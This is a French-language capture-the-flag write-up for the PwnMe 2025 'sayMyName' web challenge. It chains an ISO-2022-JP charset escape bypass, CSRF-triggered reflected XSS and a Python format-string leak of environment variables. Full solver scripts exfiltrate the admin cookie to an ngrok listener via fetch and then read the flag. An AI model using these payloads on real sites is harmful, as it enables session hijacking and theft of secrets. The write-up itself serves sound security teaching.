PwnMe CTF 2025: sayMyName

Énoncé

Just printing your name, what could go wrong?

Author: Fayred

sayMyName.zip

Aperçu

.
├── app.py
├── bot.py
├── docker-compose.yml
├── Dockerfile
├── requirements.txt
├── static
│   └── images
│       └── cat.jpg
└── templates
    ├── admin.html
    ├── index.html
    └── your-name.html

4 directories, 9 files

Comme on peut le voir, très peu de fichiers sont présents pour ce challenge. Celui-ci ne contient pas grand-chose : une page avec un champ censé contenir un prénom reflété dans un modal et une route /admin restreinte.

D’après le code source, pour valider le challenge, il va falloir leak la variable d’environnement $FLAG.

docker-compose.yml:

services:
  saymyname:
    build: .
    image: saymyname:latest
    ports:
      - "5000:5000"
    environment:
      - FLAG=PWNME{FAKE_FLAG}

Résolution

Pour résoudre le challenge, il va falloir exploiter un problème lié à la non précision du charset, dans la réponse du serveur sur l’une des routes. Grâce à cela, il sera possible d’injecter du code JavaScript dans la page et de leaker le cookie de l’admin. Pour finir, sur la route /admin, via une format string vulnérable, il est possible de leaker les variables d’environnement, dont le flag.

Analyse du code

Avant de trouver comment solutionner le challenge, il faut d’abord comprendre le code source.

app.py

from flask import Flask, render_template, request, Response, redirect, url_for
from bot import visit_report
from secrets import token_hex

X_Admin_Token = token_hex(16)

def run_cmd(): # I will do that later
    pass

def sanitize_input(input_string):
    input_string = input_string.replace('<', '')
    input_string = input_string.replace('>', '')
    input_string = input_string.replace('\'', '')
    input_string = input_string.replace('&', '')
    input_string = input_string.replace('"', '\\"')
    input_string = input_string.replace(':', '')
    return input_string

app = Flask(__name__)

@app.route('/admin', methods=['GET'])
def admin():
    if request.cookies.get('X-Admin-Token') != X_Admin_Token:
        return 'Access denied', 403
    
    prompt = request.args.get('prompt')
    return render_template('admin.html', cmd=f"{prompt if prompt else 'prompt$/>'}{run_cmd()}".format(run_cmd))

@app.route('/', methods=['GET'])
def index():
    return render_template('index.html')

@app.route('/your-name', methods=['POST'])
def your_name():
    if request.method == 'POST':
        name = request.form.get('name')
        return Response(render_template('your-name.html', name=sanitize_input(name)), content_type='text/html')
    
@app.route('/report', methods=['GET'])
def report():
    url = request.args.get('url')
    if url and (url.startswith('http://') or url.startswith('https://')):
        print(f'Visit : {url} | X-Admin-Token : {X_Admin_Token}')
        visit_report(url, X_Admin_Token)
    return redirect(url_for('index'))

app.run(debug=False, host='0.0.0.0')

On voit dans le script qu’il existe 4 routes:

  • /
  • /admin
  • /report
  • /your-name

Elles sont toutes accessibles sauf /admin. Une route sur /report est présente, elle permet de reporter à l’admin une url, ce qui est typique des challenges avec des vulnérabilités client-side. Ensuite on voit que la route /your-name prend un paramètre : name (via POST) qui est ensuite “sanitize” par une fonction custom et renvoyée dans la page. Cependant, c’est la seule route qui retourne un objet Response. Surtout que le Content-Type y est spécifié à text/html sans charset.

Intéressons-nous maintenant au fichier your-name.html:

<style>
    .image-container {
        position: relative;
        width: 100%;
        max-width: 600px;
        text-align: center;
    }
    .image-container img {
        width: 100%;
        height: auto;
        text-align: center;
    }
    .image-container .text {
        position: absolute;
        top: 50%;
        left: 50%;
        transform: translate(-50%, -50%);
        color: white;
        font-size: 24px;
        font-weight: bold;
        text-shadow: 2px 2px 5px rgba(0, 0, 0, 0.7);
    }
</style>
<div class="image-container">
    <img src="{{ url_for('static', filename='images/cat.jpg') }}" alt="cat">
    <a class="text" id="behindthename-redirect" href='https://www.behindthename.com/names/search.php?terms={{name}}' onfocus='document.location="https://www.behindthename.com/names/search.php?terms={{name|safe}}"'>Hello {{name}} !</a>

On voit que la valeur de name est reflétée dans la page deux fois. Une fois dans l’attribut href et une fois dans onfocus. Cependant, elles ne sont pas reflétées de la même manière. Une est indiquée comme “safe” tandis que l’autre non, celle utilisé dans onfocus est la clé pour résoudre notre challenge. Par contre même si le filtre safe est utilisé, il n’est normalement pas possible de sortir des doubles quotes pour injecter du code javascript, puisque la fonction sanitize_input() échappe les doubles quotes. A moins que le charset ne soit pas précisé dans la réponse…

Annuler l’échappement de la barre-oblique inversée

Pour sortir des doubles quotes, il va falloir que le navigateur détecte l’encodage utilisé comme étant du ISO-2022-JP. Il est nécessaire d’utiliser cet encodage car celui-ci peux basculer entre 4 jeux de caractères: ASCII, JIS X 0201 1976, JIS X 0208 1978 et JIS X 0208 1983.

It starts in ASCII and includes the following escape sequences:

  • ESC ( B to switch to ASCII (1 byte per character)
  • ESC ( J to switch to JIS X 0201-1976 (ISO/IEC 646:JP) Roman set (1 byte per character)
  • ESC $ @ to switch to JIS X 0208-1978 (2 bytes per character)
  • ESC $ B to switch to JIS X 0208-1983 (2 bytes per character)

Wikipedia

Cette fonctionnalité de la norme ISO-2022-JP offre une grande flexibilité, mais peut également être utilisé pour annuler l’échappement effectué par l’antislash sur les quotes. Une seule occurrence de l’une de ces séquences d’échappement suffit généralement à convaincre l’algorithme d’auto-détection que le corps de la réponse HTTP est encodé avec la norme ISO-2022-JP.

Si un utilisateur utilise les octets: 0x1b, 0x28 et 0x4a, cela basculera de jeux de caractères sur JIS X 0201-1976. La norme JIS X 0201 1976 est principalement compatible ASCII. Cependant deux octets diffèrent entre la table ASCII et la table de codes JIS X 0201:

L’octet 0x5c, correspond au caractère ¥ ici alors qu’en ASCII cela correspond à \ et l’octet 0x7e, correspond au caractère ici alors qu’en ASCII cela correspond à ~. Il est donc possible d’éviter l’échappement via \ grâce à la séquence d’échappement de JIS X 0201 1976. En effet si j’envoie ESC ( J soit %1b%28%4a suivi de " alors \ sera traduit en ¥, ce qui annulera l’échappement de la barre-oblique inversée.

En interceptant la requête en POST vers /your-name, en modifiant le paramètre name pour %1b%28%4a"payload et en affichant la réponse dans Firefox (celui utilisé par bot.py), on obtient bien le résultat espéré.

Réponse:

<style>
    .image-container {
        position: relative;
        width: 100%;
        max-width: 600px;
        text-align: center;
    }
    .image-container img {
        width: 100%;
        height: auto;
        text-align: center;
    }
    .image-container .text {
        position: absolute;
        top: 50%;
        left: 50%;
        transform: translate(-50%, -50%);
        color: white;
        font-size: 24px;
        font-weight: bold;
        text-shadow: 2px 2px 5px rgba(0, 0, 0, 0.7);
    }
</style>
<div class="image-container">
    <img src="/static/images/cat.jpg" alt="cat">
    <a class="text" id="behindthename-redirect" href='https://www.behindthename.com/names/search.php?terms=¥&#34;payload' onfocus='document.location="https://www.behindthename.com/names/search.php?terms=¥"payload"'>Hello ¥&#34;payload !</a>
</div>

On voit ici qu’on a bien réussi à sortir des doubles quotes dans l’attribut onfocus.

Bonus (unintended): Il était aussi possible d’annuler l’échappement sur les doubles quotes simplement avec \".

Cross-site request forgery

On sait maintenant qu’il est possible d’injecter du code javascript dans la page. Cependant le paramètre name qui est reflété dans la page doit être envoyé en POST. Sachant qu’aucune protection n’est présente contre les CSRF et que name est envoyé via application/x-www-form-urlencoded, il est possible de CSRF pour trigger notre RXSS en POST.

Pour générer notre payload on peut utiliser burpsuite qui nous le génère, sans oublier de rajouter #behindthename-redirect à la fin de l’attribut action:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost:5000/your-name#behindthename-redirect" method="POST">
      <input type="hidden" name="name" value="&#27;&#40;J&quot;&#59;alert&#40;0&#41;&#59;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Si on teste la CSRF dans notre navigateur, on a bien notre RXSS de trigger avec notre alert(0) :

Cependant la redirection pose un problème. En effet si l’on veut effectuer plus qu’une simple “alert”, il va falloir obtenir une redirection plus lente ou l’annuler.

Maintenant qu’on sait comment trigger notre RXSS, il va falloir leak le cookie de l’admin. Pour ça il va falloir utiliser String.fromCharCode, pour faire passer les caractères bloqués par sanitizer_bypass. Il faudra aussi modifier la redirection, pour ça on peut utiliser le petit tricks [0]='#' qui va remplacer l’url de redirection par #, cela évitera de recharger la page et donc exécuter notre RXSS.

Ensuite il suffira simplement de récupérer le cookie et l’envoyer sur notre serveur. En scriptant un peu toute les étapes jusqu’à maintenant on obtient ce genre de script:

# pip install requests flask ngrok 
# export NGROK_AUTHTOKEN=xxx
# curl http://localhost:1337/exploit

from flask import Flask, request
import ngrok
import base64
import requests
import time

listener = ngrok.forward(1337, authtoken_from_env=True)
NGROK_HOST = listener.url()
CHALLENGE_HOST = 'http://localhost:5000/'

def sanitizer_bypass():
    url = NGROK_HOST + '/recv-cookie?r='
    # change redirect to /wait to trigger XSS
    payload = f"\x1b\x28\x4a\"[0]=String.fromCharCode({ord('#')});fetch(String.fromCharCode({','.join(str(ord(c)) for c in url)})+btoa(document.cookie));//"
    return payload

def html_entities(value):
    payload = "".join(f"&#{ord(c)};" if not c.isalnum() else c for c in value)
    return payload

def craft_csrf(payload):
    return f"""
    <html>
    <body>
        <form action="http://127.0.0.1:5000/your-name#behindthename-redirect" method="POST">
        <input type="hidden" name="name" value="{payload}" />
        <input type="submit" value="Submit request" />
        </form>
        <script>
        history.pushState('', '', '/');
        document.forms[0].submit();
        </script>
    </body>
    </html>
    """

payload1 = sanitizer_bypass()
payload2 = html_entities(payload1)
csrf_payload = craft_csrf(payload2)

app = Flask(__name__)

@app.route('/exploit')
def exploit():
    requests.get(f'{CHALLENGE_HOST}/report?url={NGROK_HOST}/csrf')
    return 'exploit'

@app.route('/csrf')
def csrf():
    return csrf_payload

@app.route('/recv-cookie')
def recv_cookie():
    cookie = base64.b64decode(request.args.get('r')).decode()
    print(f'[+] Cookie: {cookie}')
    return ''

app.run(host='0.0.0.0', port=1337)

Il suffit de lancer le programme et visiter la route /exploit pour lancer l’attaque. Sur notre Flask on reçoit bien le cookie de l’admin:

$ python solver2.py 
 * Serving Flask app 'solver2'
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:1337
 * Running on http://192.168.1.38:1337
Press CTRL+C to quit
127.0.0.1 - - [28/Feb/2025 19:41:43] "GET /csrf HTTP/1.1" 200 -
[+] Cookie : X-Admin-Token=ca92c81597f1956c580ecae73324591a
127.0.0.1 - - [28/Feb/2025 19:41:43] "GET /recv-cookie?r=WC1BZG1pbi1Ub2tlbj1jYTkyYzgxNTk3ZjE5NTZjNTgwZWNhZTczMzI0NTkxYQ== HTTP/1.1" 200 -
127.0.0.1 - - [28/Feb/2025 19:41:44] "GET /exploit HTTP/1.1" 200 -

On a bien accès à la page /admin avec le cookie leak:

$ curl http://localhost:5000/admin -H "Cookie: X-Admin-Token=ca92c81597f1956c580ecae73324591a" -i
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.9.4
Date: Fri, 28 Feb 2025 18:47:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 218
Connection: close

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Admin</title>
</head>
<body>
    prompt$/&gt;None
</body>

Python format string vulnerabilities

Pour leak le flag, il va falloir utiliser un bug concernant les formats string en python. En effet il est possible d’injecter des expressions lorsqu’une fstring est utilisée avec la méthode format sur la même chaîne de caractères.

C’est ce qu’il se passe sur la route /admin:

@app.route('/admin', methods=['GET'])
def admin():
    if request.cookies.get('X-Admin-Token') != X_Admin_Token:
        return 'Access denied', 403
    
    prompt = request.args.get('prompt')
    return render_template('admin.html', cmd=f"{prompt if prompt else 'prompt$/>'}{run_cmd()}".format(run_cmd))

On voit ici une fonction passée en paramètre, sur laquelle on va s’appuyer pour accéder à os.environ et leak la variable d’environnement FLAG. Pour cela on va passer par FLASK puisque celui-ci import os.

Ce qui nous donne ce payload:

{.__globals__[Flask].get.__globals__[os].environ[FLAG]}

Exploitation

Exploit final:

# pip install requests flask ngrok 
# export NGROK_AUTHTOKEN=xxx
# curl http://localhost:1337/exploit

# CSRF to RXSS to Format String Vuln
# RXSS (sanitizer bypass) -> https://www.sonarsource.com/blog/encoding-differentials-why-charset-matters/

from flask import Flask, request
import ngrok
import base64
import requests
import time

listener = ngrok.forward(1337, authtoken_from_env=True)
NGROK_HOST = listener.url()
CHALLENGE_HOST = 'http://localhost:5000/'

def sanitizer_bypass():
    url = NGROK_HOST + '/recv-cookie?r='
    # change redirect to /wait to trigger XSS
    payload = f"\x1b\x28\x4a\"[0]=String.fromCharCode({ord('#')});fetch(String.fromCharCode({','.join(str(ord(c)) for c in url)})+btoa(document.cookie));//"
    return payload

def html_entities(value):
    payload = "".join(f"&#{ord(c)};" if not c.isalnum() else c for c in value)
    return payload

def craft_csrf(payload):
    return f"""
    <html>
    <body>
        <form action="http://127.0.0.1:5000/your-name#behindthename-redirect" method="POST">
        <input type="hidden" name="name" value="{payload}" />
        <input type="submit" value="Submit request" />
        </form>
        <script>
        history.pushState('', '', '/');
        document.forms[0].submit();
        </script>
    </body>
    </html>
    """

payload1 = sanitizer_bypass()
payload2 = html_entities(payload1)
csrf_payload = craft_csrf(payload2)

app = Flask(__name__)

@app.route('/exploit')
def exploit():
    requests.get(f'{CHALLENGE_HOST}/report?url={NGROK_HOST}/csrf')
    return 'exploit'

@app.route('/csrf')
def csrf():
    return csrf_payload

@app.route('/recv-cookie')
def recv_cookie():
    cookie = base64.b64decode(request.args.get('r')).decode()
    print(f'[+] Cookie : {cookie}')

    format_string_payload = '{.__globals__[Flask].get.__globals__[os].environ[FLAG]}'
    r = requests.get(f'{CHALLENGE_HOST}/admin?prompt={format_string_payload}', headers={'Cookie': cookie})
    print(f'[+] Flag : {r.text}')
    return 'Thanks for the flag ;-)'

app.run(host='0.0.0.0', port=1337)

Flag: PWNME{b492b312612c741b3b6597f925f88198}

Références